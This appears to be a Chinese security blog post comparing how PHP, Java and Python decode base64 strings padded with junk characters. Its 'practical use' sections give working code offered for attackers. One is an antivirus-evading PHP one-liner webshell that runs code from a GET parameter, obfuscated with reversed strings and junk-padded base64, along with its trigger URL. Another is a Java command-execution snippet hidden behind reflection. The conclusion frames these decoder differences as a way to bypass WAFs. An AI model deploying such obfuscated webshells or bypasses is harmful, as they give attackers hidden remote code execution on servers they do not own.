0x01 前言

在我们使用base64的时候,常常会按照标准格式输入

  1. 例如规则:
  2. 大小写英文, 数字, +, =, / 组成一个base64
  3. 例子一:
  4. 字符串: aaa!~~!aa123g
  5. base64: YWFhIX5+IWFhMTIzZw==
  6. 例子二:
  7. 字符串: aaa!~~!aa123gfG{}:">?dddff
  8. base64: YWFhIX5+IWFhMTIzZ2ZHe306Ij4/ZGRkZmY=

可以看得到这很标准,那么有没有想过如果我们在这个标准的base64里面乱加内容会怎么样呢?

  1. 例如说:
  2. 我添加特殊字符进去
  3. 字符串: abcd
  4. base64: YWJjZA==
  5. 我把这个base64改成: <>--------|||Y___W---J!@#$%^&*()_jZA----==
  6. 那么这些语言还能在解码回: abcd 么?
  7. 这个问题值得探讨实验实验

0x02 php

0x02.1 测试环境

  1. 系统: Windows 8
  2. php版本: php5.6.27
  3. 服务器: Apache

0x02.2 测试例子

  1. # 在php中base64解码函数是很强的,基本上咋写都可以解析
  2. # 除了个别规则以外
  3. 例如:
  4. 字符串: a
  5. base64: YQ==
  6. php_1:
  7. base64: ----Y|Q==
  8. 解码为: a
  9. 解码情况: 成功
  10. php_2:
  11. base64: ^Y-|]--[Q-=)=
  12. 解码为: a
  13. 解码情况: 成功
  14. php_3:
  15. base64: YQ=试=啊
  16. 解码为: a
  17. 解码情况: 成功
  18. php_4:
  19. base64: YQ==Yg==
  20. 解码为: 第一个YQ==成功解码,第二个YQ==会解析成乱码
  21. 解码情况: YQ==会解析为a, Yg==会解析为乱码, YQ==遇到=号了解析完毕以后后面的base64都会乱码
  1. 基础编码:
  2. 字符串: aaa!~~!aa123g
  3. base64: YWFhIX5+IWFhMTIzZw==
  4. 下面我会给出一下符合phpbase64解码的例子
  1. # 例子1-添加“减号”进行干扰
  2. 特殊符号: -
  3. 组合为: --------YWFhIX5+IWFhMTIzZw==
  4. <?php
  5. $b64_str = "--------YWFhIX5+IWFhMTIzZw==";
  6. var_dump(base64_decode($b64_str));
  7. ?>
  8. 那么能成功解密么?
  9. 答案是可以的
  10. 这里可以看得到php的包容性特别强
  11. # 运行结果:
  12. string(13) "aaa!~~!aa123g"
  1. # 例子2-添加部分特殊符号进行干扰
  2. 特殊符号: - < | > _
  3. 组合为: <--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____
  4. <?php
  5. $b64_str = "<--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____";
  6. var_dump(base64_decode($b64_str));
  7. ?>
  8. # 运行结果:
  9. string(13) "aaa!~~!aa123g"
  1. # 例子3-添加各种特殊符号进行干扰
  2. 特殊符号: ! @ # $ % ^ & * ( ) _ - { \[ ] ? . , 》《 }
  3. 组合为: Y!WF@hI#X$5+%IW^F&h*M(T)I_z-Z{w\[]?.,==》《}
  4. <?php
  5. $b64_str = "Y!WF@hI#X$5+%IW^F&h*M(T)I_z-Z{w[\]?.,=》=《";
  6. var_dump(base64_decode($b64_str));
  7. ?>
  8. # 运行结果:
  9. string(13) "aaa!~~!aa123g"
  1. # 例子4-添加各种中文进行干扰
  2. 组合为: YWFhIX5+IWFhMTIzZw==
  3. <?php
  4. $b64_str = "YWF中hIX5+I文WFhMTIzZw==";
  5. var_dump(base64_decode($b64_str));
  6. ?>
  7. # 运行结果:
  8. string(13) "aaa!~~!aa123g"

0x03.2 实际用途例子

  1. 那么这个姿势在进行编写免杀马子的时候就特别适合了
  2. 因为这几个特性是php独有的,其他语言解码会乱码
  3. 例如写一个基础的一句话木马然后混淆
  4. 文件名: test.php
  5. <?php
  6. assert(get_defined_vars()['_GET'][1]);
  7. ?>
  8. 混淆
  9. <?php
  10. $base64_decode_str = 'edoced_46esab';
  11. $base64_decode = strrev($base64_decode_str);
  12. // get_defined_vars 的 base64
  13. $parameter_base64 = 'Z~2!!!V#0%X{2}R.l;Z,ml.u|Z-W^R……f*dmFycw==^^^^^^';
  14. $parameter = $base64_decode($parameter_base64);
  15. // assert 的 base64
  16. $assert_base64 = '<>-Y|X_N@z!Z\X]J[0:.::::';
  17. $asser = $base64_decode($assert_base64);
  18. // 利用
  19. $asser($parameter()['_GET'][1]);
  20. ?>
  21. 利用方法: http://127.0.0.1/test.php?1=phpinfo();

0x03 java

0x03.1 测试环境

  1. 系统: mac
  2. java版本: 1.8
  3. 测试模块: sun.misc.BASE64Decoder

0x03.2 测试例子

  1. # 在java中就没有办法像php那么强随便怎么加都可以正常解析了
  2. # 但是在java中,也是有骚操作的.
  3. # 因为java中可以多个base64写成一个,按=号分割
  4. 例如:
  5. 字符串: a
  6. base64: YQ==
  7. java:
  8. base64: YQ==Yg==
  9. 解码为: ab
  10. php:
  11. base64: YQ==Yg==
  12. 解码为: YQ==会解析为a, Yg==会解析为乱码
  1. 下面我会给出一下符合javabase64解码的例子
  1. # 例子1-添加多个base64进行解码
  2. # 字符串_1: aaa!~~!aa123g
  3. # base64_1: YWFhIX5+IWFhMTIzZw==
  4. # 字符串_2: -------
  5. # base64_2: LS0tLS0tLQ==
  6. # 字符串_3: testbase64
  7. # base64_3: dGVzdGJhc2U2NA==
  8. import sun.misc.BASE64Decoder;
  9. import java.io.IOException;
  10. public class BASE64DecoderTest {
  11. public static void main(String[] args) {
  12. BASE64Decoder decoder = new BASE64Decoder();
  13. try {
  14. String base64Str = "YWFhIX5+IWFhMTIzZw==LS0tLS0tLQ==dGVzdGJhc2U2NA==";
  15. String str = new String(decoder.decodeBuffer(base64Str), "utf-8");
  16. System.out.println(str);
  17. } catch (IOException e) {
  18. e.printStackTrace();
  19. }
  20. }
  21. }
  22. # 运行结果
  23. aaa!~~!aa123g-------testbase64

0x03.2 实际用途例子

  1. # 最大的用途就是混淆关键字,写免杀木马
  2. # 自己发挥想象吧
  3. import org.apache.commons.io.IOUtils;
  4. import sun.misc.BASE64Decoder;
  5. import java.io.InputStream;
  6. import java.lang.reflect.Constructor;
  7. import java.lang.reflect.Method;
  8. public class ExecCmdTest {
  9. public static void main(String[] args) {
  10. try {
  11. String cmd = "whoami";
  12. BASE64Decoder decoder = new BASE64Decoder();
  13. // java.lang.Runtime 的 base64
  14. String RuntimeBase64Str = "ag==YQ==dg==YQ==Lg==bGE=bmcuUnVudA==aW1l";
  15. byte[] RuntimeByte = decoder.decodeBuffer(RuntimeBase64Str);
  16. String runtimePath = new String(RuntimeByte, "utf-8");
  17. // 获取Runtime类对象
  18. Class runtimeClass = Class.forName(runtimePath);
  19. // 获取构造方法
  20. Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();
  21. runtimeConstructor.setAccessible(true);
  22. // 创建Runtime类实例 相当于 Runtime r = new Runtime();
  23. Object runtimeInstance = runtimeConstructor.newInstance();
  24. // 获取Runtime的exec(String cmd)方法
  25. Method runtimeMethod = runtimeClass.getMethod("exec", String.class);
  26. // 调用exec方法 等于 r.exec(cmd); cmd参数输入要执行的命令
  27. Process p = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
  28. // 获取命令执行结果
  29. InputStream results = p.getInputStream();
  30. // 输出命令执行结果
  31. System.out.println(IOUtils.toString(results, "UTF-8"));
  32. } catch (Exception e) {
  33. e.printStackTrace();
  34. }
  35. }
  36. }

0x04 python

0x04.1 测试环境

  1. 系统: mac
  2. python版本: Python 3.8.2 64-bit
  3. 测试模块: base64

0x04.2 测试例子

  1. # 在python中base64解码函数是最强的,基本上咋写都可以解析
  2. 例如:
  3. 字符串: a
  4. base64: YQ==
  5. python_1:
  6. base64: ----Y|Q==
  7. 解码为: a
  8. 解码情况: 成功
  9. python_2:
  10. base64: ^Y-|]--[Q-=)=
  11. 解码为: a
  12. 解码情况: 成功
  13. python_3:
  14. base64: YQ=试=啊
  15. 解码为: 无法解
  16. 解码情况: 失败,遇到中文会直接爆
  17. ValueError: string argument should contain only ASCII characters 错误
  18. python_4:
  19. base64: YQ==Yg==
  20. 解码为: 第一个YQ==成功解码,第二个YQ==直接过滤
  21. 解码情况: YQ==会解析为a, python遇到了=号以后就等于结束了,=号后面的内容全部会自动过滤掉不解析
  1. 基础编码:
  2. 字符串: aaa!~~!aa123g
  3. base64: YWFhIX5+IWFhMTIzZw==
  4. 下面我会给出一下符合pythonbase64解码的例子
  1. # 例子1-添加“减号”进行干扰
  2. 特殊符号: -
  3. 组合为: --------YWFhIX5+IWFhMTIzZw==
  4. #!/usr/bin/python3
  5. # -*- coding: UTF-8 -*-
  6. import base64
  7. res = base64.b64decode("--------YWFhIX5+IWFhMTIzZw==")
  8. print(res.decode())
  9. # 运行结果:
  10. aaa!~~!aa123g
  1. # 例子2-添加部分特殊符号进行干扰
  2. 特殊符号: - < | > _
  3. 组合为: <--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____
  4. #!/usr/bin/python3
  5. # -*- coding: UTF-8 -*-
  6. import base64
  7. res = base64.b64decode("<--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____")
  8. print(res.decode())
  9. # 运行结果:
  10. aaa!~~!aa123g
  1. # 例子3-添加各种特殊符号进行干扰
  2. 特殊符号: ! @ # $ % ^ & * ( ) _ - { } [ \ ] ? . ,
  3. 组合为: Y!WF@hI#X$5+IW^F&h*M(T)I_z-Z{w[\]?.,==
  4. #!/usr/bin/python3
  5. # -*- coding: UTF-8 -*-
  6. import base64
  7. res = base64.b64decode("Y!WF@hI#X$5%+IW^F&h*M(T)I_z-Z{w}[\]?.,==")
  8. print(res.decode())
  9. # 运行结果:
  10. aaa!~~!aa123g

0x04.2 实际用途例子

python我一般是拿来写exp的,所以自己发挥一下想象力吧

0x05 总结

可以看的出,每一门语言对于base64解码的极限都是不同的,那么这种不同就给了我们可以拿来绕waf的可能性
因为语言的不同
假如waf使用的是c写的,他解码失败了,但是php语言他解成功了
那么不就绕过了么